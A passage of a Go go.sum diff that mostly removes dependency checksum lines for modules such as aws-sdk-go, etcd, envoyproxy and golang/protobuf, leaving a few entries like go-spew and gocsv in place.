-github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
-github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
-github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
-github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
-github.com/aryann/difflib v0.0.0-20170710044230-e206f873d14a/go.mod h1:DAHtR1m6lCRdSC2Tm3DSWRPvIPr6xNKyeHdqDQSQT+A=
-github.com/asaskevich/govalidator v0.0.0-20180720115003-f9ffefc3facf/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
-github.com/aws/aws-lambda-go v1.13.3/go.mod h1:4UKl9IzQMoD+QF79YdCuzCwp8VbmG4VAQwij/eHl5CU=
-github.com/aws/aws-sdk-go v1.15.27/go.mod h1:mFuSZ37Z9YOHbQEwBWztmVzqXrEkub65tZoCYDt7FT0=
-github.com/aws/aws-sdk-go v1.19.18/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
-github.com/aws/aws-sdk-go v1.19.45/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
-github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
-github.com/aws/aws-sdk-go v1.23.20/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
-github.com/aws/aws-sdk-go v1.25.11/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
-github.com/aws/aws-sdk-go v1.27.0/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
-github.com/aws/aws-sdk-go v1.30.29/go.mod h1:5zCpMtNQVjRREroY7sYe8lOMRSxkhG6MZveU8YkpAk0=
-github.com/aws/aws-sdk-go v1.37.0/go.mod h1:hcU610XS61/+aQV88ixoOzUoG7v3b31pl2zKMmprdro=
-github.com/aws/aws-sdk-go-v2 v0.18.0/go.mod h1:JWVYvqSMppoMJC0x5wdwiImzgXTI9FuZwxzkQq9wy+g=
-github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I=
-github.com/benbjohnson/clock v1.0.3/go.mod h1:bGMdMPoPVvcYyt1gHDf4J2KE153Yf9BuiUKYMaxlTDM=
-github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
-github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
-github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
-github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
-github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
-github.com/blakesmith/ar v0.0.0-20190502131153-809d4375e1fb/go.mod h1:PkYb9DJNAwrSvRx5DYA+gUcOIgTGVMNkfSCbZM8cWpI=
-github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps=
-github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
-github.com/caarlos0/ctrlc v1.0.0/go.mod h1:CdXpj4rmq0q/1Eb44M9zi2nKB0QraNKuRGYGrrHhcQw=
-github.com/campoy/unique v0.0.0-20180121183637-88950e537e7e/go.mod h1:9IOqJGCPMSc6E5ydlp5NIonxObaeu/Iub/X03EKPVYo=
-github.com/casbin/casbin/v2 v2.1.2/go.mod h1:YcPU1XXisHhLzuxH9coDNf2FbKpjGlbCg3n9yuLkIJQ=
-github.com/cavaliercoder/go-cpio v0.0.0-20180626203310-925f9528c45e/go.mod h1:oDpT4efm8tSYHXV5tHSdRvBet/b/QzxZ+XyyPehvm3A=
-github.com/cenkalti/backoff v2.2.1+incompatible/go.mod h1:90ReRw6GdpyfrHakVjL/QHaoyV4aDUVVkXQJJJ3NXXM=
-github.com/census-instrumentation/opencensus-proto v0.2.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
-github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
-github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
-github.com/certifi/gocertifi v0.0.0-20191021191039-0944d244cd40/go.mod h1:sGbDF6GwGcLpkNXPUTkMRoywsNa/ol15pxFe6ERfguA=
-github.com/certifi/gocertifi v0.0.0-20200922220541-2c3bb06c6054/go.mod h1:sGbDF6GwGcLpkNXPUTkMRoywsNa/ol15pxFe6ERfguA=
-github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
-github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
-github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
-github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
-github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
-github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8=
-github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
-github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
-github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
-github.com/clbanning/x2j v0.0.0-20191024224557-825249438eec/go.mod h1:jMjuTZXRI4dUb/I5gc9Hdhagfvm9+RyrPryS/auMzxE=
-github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
-github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
-github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
-github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
-github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=
-github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
-github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
-github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
-github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
-github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=
-github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8=
-github.com/cockroachdb/datadriven v0.0.0-20200714090401-bf6692d28da5/go.mod h1:h6jFvWxBdQXxjopDMZyH2UVceIRfR84bdzbkoKrsWNo=
-github.com/cockroachdb/errors v1.2.4/go.mod h1:rQD95gz6FARkaKkQXUksEje/d9a6wBJoCr5oaCLELYA=
-github.com/cockroachdb/logtags v0.0.0-20190617123548-eb05cc24525f/go.mod h1:i/u985jwjWRlyHXQbwatDASoW0RMlZ/3i9yJHE2xLkI=
-github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI=
-github.com/codegangsta/cli v1.20.0/go.mod h1:/qJNoX69yVSKu5o4jLyXAENLRyk1uhi7zkbQ3slBdOA=
-github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
-github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
-github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
-github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
-github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
-github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
-github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
-github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
-github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
-github.com/coreos/go-systemd/v22 v22.1.0/go.mod h1:xO0FLkIi5MaZafQlIrOotqXZ90ih+1atmu1JpKERPPk=
-github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
-github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
-github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
-github.com/corpix/uarand v0.1.1/go.mod h1:SFKZvkcRoLqVRFZ4u25xPmp6m9ktANfbpXZ7SJ0/FNU=
-github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
-github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
-github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
-github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
-github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
-github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
-github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
-github.com/cyberdelia/go-metrics-graphite v0.0.0-20161219230853-39f87cc3b432/go.mod h1:xwIwAxMvYnVrGJPe2FKx5prTrnAjGOD8zvDOnxnrrkM=
-github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/devigned/tab v0.1.1/go.mod h1:XG9mPq0dFghrYvoBF3xdRrJzSTX1b7IQrvaL9mzjeJY=
-github.com/dgraph-io/badger v1.6.2/go.mod h1:JW2yswe3V058sS0kZ2h/AXeDSqFjxnZcRrVH//y2UQE=
-github.com/dgraph-io/badger/v2 v2.2007.4/go.mod h1:vSw/ax2qojzbN6eXHIx6KPKtCSHJN/Uz0X0VPruTIhk=
-github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E=
-github.com/dgraph-io/ristretto v0.0.3-0.20200630154024-f66de99634de/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E=
-github.com/dgraph-io/ristretto v0.0.4-0.20200906165740-41ebdbffecfd/go.mod h1:YylP9MpCYGVZQrly/j/diqcdUetCRRePeBB0c2VGXsA=
-github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
-github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
-github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
-github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
-github.com/dimchansky/utfbom v1.1.0/go.mod h1:rO41eb7gLfo8SF1jd9F8HplJm1Fewwi4mQvIirEdv+8=
-github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
-github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
-github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
-github.com/eapache/go-resiliency v1.1.0/go.mod h1:kFI+JgMyC7bLPUVY133qvEBtVayf5mFgVsvEsIPBvNs=
-github.com/eapache/go-xerial-snappy v0.0.0-20180814174437-776d5712da21/go.mod h1:+020luEh2TKB4/GOp8oxxtq0Daoen/Cii55CzbTV6DU=
-github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
-github.com/edsrzf/mmap-go v1.0.0/go.mod h1:YO35OhQPt3KJa3ryjFM5Bs14WD66h8eGKpfaBNrHW5M=
-github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
-github.com/envoyproxy/go-control-plane v0.6.9/go.mod h1:SBwIajubJHhxtWwsL9s8ss4safvEdbitLhGGK48rN6g=
-github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
-github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
-github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
-github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po=
-github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
-github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
-github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ=
-github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
-github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
-github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
-github.com/etcd-io/gofail v0.0.0-20190801230047-ad7f989257ca/go.mod h1:49H/RkXP8pKaZy4h0d+NW16rSLhyVBt4o6VLJbmOqDE=
-github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
-github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
-github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
-github.com/flynn/noise v1.0.0/go.mod h1:xbMo+0i6+IGbYdJhF31t2eR1BIU0CYc12+BNAKwUTag=
-github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
-github.com/form3tech-oss/jwt-go v3.2.3+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
-github.com/fortytw2/leaktest v1.2.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
-github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
-github.com/franela/goblin v0.0.0-20200105215937-c9ffbefa60db/go.mod h1:7dvUGVsVBjqR7JHJk0brhHOZYGmfBYOrK0ZhYMEtBr4=
-github.com/franela/goreq v0.0.0-20171204163338-bcd34c9993f8/go.mod h1:ZhphrRTfi2rbfLwlschooIH4+wKKDR4Pdxhh+TRoA20=
-github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
-github.com/fullstorydev/grpcurl v1.8.0/go.mod h1:Mn2jWbdMrQGJQ8UD62uNyMumT2acsZUCkZIqFxsQf1o=
-github.com/fullstorydev/grpcurl v1.8.1/go.mod h1:3BWhvHZwNO7iLXaQlojdg5NA6SxUDePli4ecpK1N7gw=
-github.com/getsentry/raven-go v0.2.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
-github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
-github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0=
-github.com/go-chi/chi v4.0.2+incompatible/go.mod h1:eB3wogJHnLi3x/kFX2A+IbTBlXxmMeXJVKy9tTv1XzQ=
-github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
-github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
-github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
-github.com/go-ini/ini v1.25.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
-github.com/go-kit/kit v0.4.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
-github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
-github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
-github.com/go-kit/kit v0.10.0/go.mod h1:xUsJbQ/Fp4kEt7AFgCuvyX4a71u8h9jB8tj/ORgOZ7o=
-github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
-github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
-github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
-github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
-github.com/go-piv/piv-go v1.7.0/go.mod h1:ON2WvQncm7dIkCQ7kYJs+nc3V4jHGfrrJnSF8HKy7Gk=
-github.com/go-redis/redis v6.15.9+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA=
-github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
-github.com/go-sql-driver/mysql v1.4.1/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
-github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
-github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
-github.com/go-stack/stack v1.6.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
-github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
-github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
-github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
-github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
-github.com/gogo/googleapis v1.1.0/go.mod h1:gf4bu3Q80BeJ6H1S1vYPm8/ELATdvryBaNFGgqEef3s=
-github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
-github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
-github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
-github.com/gogo/protobuf v1.3.0/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
-github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
-github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
-github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
-github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
-github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
-github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
-github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
-github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
-github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
-github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
-github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
-github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
-github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
-github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
-github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
-github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=
-github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8=
-github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs=
-github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
-github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
-github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
-github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
-github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
-github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
-github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
